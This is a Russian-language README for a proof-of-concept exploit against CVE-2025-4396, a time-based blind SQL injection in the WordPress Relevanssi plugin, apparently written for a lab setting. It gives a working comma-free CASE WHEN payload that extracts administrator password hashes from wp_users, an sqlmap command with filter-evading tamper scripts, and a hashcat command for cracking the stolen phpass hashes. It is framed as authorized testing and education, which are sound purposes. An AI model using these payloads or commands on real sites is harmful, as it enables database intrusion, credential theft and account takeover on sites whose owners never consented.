CVE-2025-4396 — Relevanssi SQL-инъекция (Time-Based Blind)
Отказ от ответственности: Этот репозиторий предназначен только для авторизованного тестирования на проникновение, исследований в области безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен и неэтичен.
Обзор
Эксплойт типа proof-of-concept для уязвимости time-based blind SQL-инъекции в плагине WordPress Relevanssi 4.24.4. Эта реализация специально предназначена для усиленных сред, в которых:
- Запятые фильтруются — нарушает стандартный синтаксис
SUBSTR(str, pos, len) и IF(cond, true, false)
- Наблюдается поведение жадного сна (greedy sleep) — заставляет MySQL выполнять
SLEEP() до оценки полного выражения, что приводит к ложным срабатываниям
Предыстория
В определенных средах (например, в лаборатории DVWP) стандартные полезные нагрузки SQL-инъекций не работают по двум основным причинам:
| Проблема | Эффект |
|---|
| Удаление запятых | Нарушает SUBSTR(str, pos, len) и IF(cond, true, false) |
Жадный SLEEP() | MySQL выполняет sleep до полного логического выражения, вызывая ложные срабатывания |
Обе проблемы требуют целенаправленных обходных решений — они рассматриваются в ручном и автоматизированном подходах ниже.
Ручной эксплойт (asy.py)
Асинхронный скрипт на Python, обеспечивающий точное посимвольное извлечение. Избегает накладных расходов автоматизированных инструментов и обходит фильтрацию запятых с помощью логики CASE WHEN.
Особенности
| Особенность | Реализация |
|---|
| Асинхронный ввод-вывод | aiohttp для неблокирующих запросов |
Основная логика инъекции
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Почему CASE WHEN вместо IF()?
IF() использует запятые и подвержен жадному вычислению. CASE WHEN вычисляется лениво, гарантируя, что SLEEP() срабатывает только при условии, действительно равном TRUE.
Автоматизированный эксплойт (SQLMap)
SQLMap может автоматизировать обнаружение в этой среде с помощью специальных tamper-скриптов и флагов.
Команда
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
Справочник флагов
Примечание по --threads=1: Это необходимо для надёжного извлечения. Несколько потоков вызывают перекрывание задержек сна, нарушая синхронизацию бинарного поиска и приводя к искажённым результатам.
Результаты лабораторных исследований
| Поле | Значение |
|---|
| Цель | Таблица WordPress wp_users |
Взлом хэша
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- Режим
-m 400 нацелен на хэши phpass
- Атака
-a 0 — прямая атака по словарю с использованием rockyou.txt
Ссылки